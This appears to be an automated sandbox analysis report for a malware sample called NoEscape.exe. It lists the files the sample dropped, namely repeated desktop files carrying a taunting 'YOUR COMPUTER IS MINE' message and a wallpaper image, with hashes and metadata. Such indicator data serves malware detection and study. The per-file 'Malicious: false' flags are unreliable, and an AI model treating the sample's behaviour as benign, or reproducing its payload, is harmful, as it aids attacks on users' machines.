SHA-256:	7637F186967AF7AD0ADA8038D6DAE97EC2BE64B06BEB4F8E50087EFA4902CDC9
SHA-512:	A4D0EF27BFC408A7993F5209C8F64B8C49BAFFD59B80BE6DA4B96AD0CD79A69324B136DB72F57CEF94A6D57408FD4F8BF42C979B6306E83DBF7BD09118AF9449
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\???????????????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	7992
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	96:a5Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65Qn65QnH:vPPPPPPPPPPPH
MD5:	DEF5BE8E57972164E00709AF4FC4959F
SHA1:	EF020A344CCCAEF6AB8058AA81608390559DB112
SHA-256:	371F593F1903A6B8BED643FAD0D016DF21E0B69BC94DAAD99C0406AEF9A8E800
SHA-512:	295C997A640A7BFFED1141B8BC899D4DDB74B822F5EF5C955C5BAE894ADC3EF2BCBAA8D71E70D96CD2A0A8A7E544BBB5DCD9A41590722CEA565233071AE6FDC4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.

C:\Users\Public\Desktop\????????????????~?????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????????????R?????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????????L?????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????????n?????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???????Q??????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????P?????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??????P????????????????????>??? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\?????I????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\?????I????????????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\?????R????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\????Z?????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\???E??????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\??e????????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\Public\Desktop\M???????+??????????????? Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	4.542580939291481
Encrypted:	false
SSDEEP:	12:eht0byV0ANfAD3M51mXDGORX3DPgMvxEQ1SnaRCWm9ONp:AXlF51mXKo3NvxEQlmENp
MD5:	E49F0A8EFFA6380B4518A8064F6D240B
SHA1:	BA62FFE370E186B7F980922067AC68613521BD51
SHA-256:	8DBD06E9585C5A16181256C9951DBC65621DF66CEB22C8E3D2304477178BEE13
SHA-512:	DE6281A43A97702DD749A1B24F4C65BED49A2E2963CABEEB2A309031AB601F5EC488F48059C03EC3001363D085E8D2F0F046501EDF19FAFE7508D27E596117D4
Malicious:	false
Preview:	Y.O.U.R. .C.O.M.P.U.T.E.R. .I.S. .M.I.N.E... .Y.O.U. .C.A.N.N.O.T. .G.E.T. .R.I.D. .O.F. .T.H.I.S. .M.A.L.W.A.R.E...........N.D.j.....f.R.....P.R.k.'.8.4.'.b.2.G.......:.+.I.%.N...O.........f.h.R.K.J.g.R.D.Q.d...Q.....\.].a.5.5.-.:.../...E.3...U.<.,.:. ...L.....F...=...l...m.R.k.n...@.7.S.U...M.0.E.c.....D.o.?.J.R.J...W.n.C.L.i.>.B.W.].U.T.&.#.&.S...h.W.>...c...P.....c.c...n...j.c.o.4.`.9.<.U...Y.,.+.N.).E./.C.h.......m.......L.?.....o...n.5.....X./.;...U.#.Z.:.A.f.n.......C...W.h...l.g...........X...5.U.;.U...$...2...)...9.).T./.E.%.Y.$.P.h.R.[...i...m...K.h.......].8.@.b.3.....N. .-.G.Z.E...W.......i.....j...F.j.o...g.c.J...l.'.".].+...*...S.I.&.,...S...

C:\Users\user\AppData\Local\noescape.png Download File
Process:	C:\Users\user\Desktop\NoEscape.exe
File Type:	PNG image data, 1920 x 1080, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	401113
Entropy (8bit):	7.99651913809132
Encrypted:	true
SSDEEP:	12288:InL32CPdWMpJsCaa7xGBW1Sg6edbjquhl0EQA51:22yWMsCaaFQWvdnqVW1
MD5:	9E655CFD3D501F1ED01D6A2E0DB0E744
SHA1:	481CDA76B89CB4785672F598D7B59C994F7D143B
SHA-256:	CF7B5334E06A13501821834CD1AEDB7C3306A543F7D8EC03D1F20BFAF9BED613
SHA-512:	5C55676D0B76429CA6408CD197A7DCAD895753F3E68A73B75F141C4F193F0526476937704A32E7E051119A9CC14CE8B48BAAE5A8E10D3EB5E9250186CC9C5E32
Malicious:	false
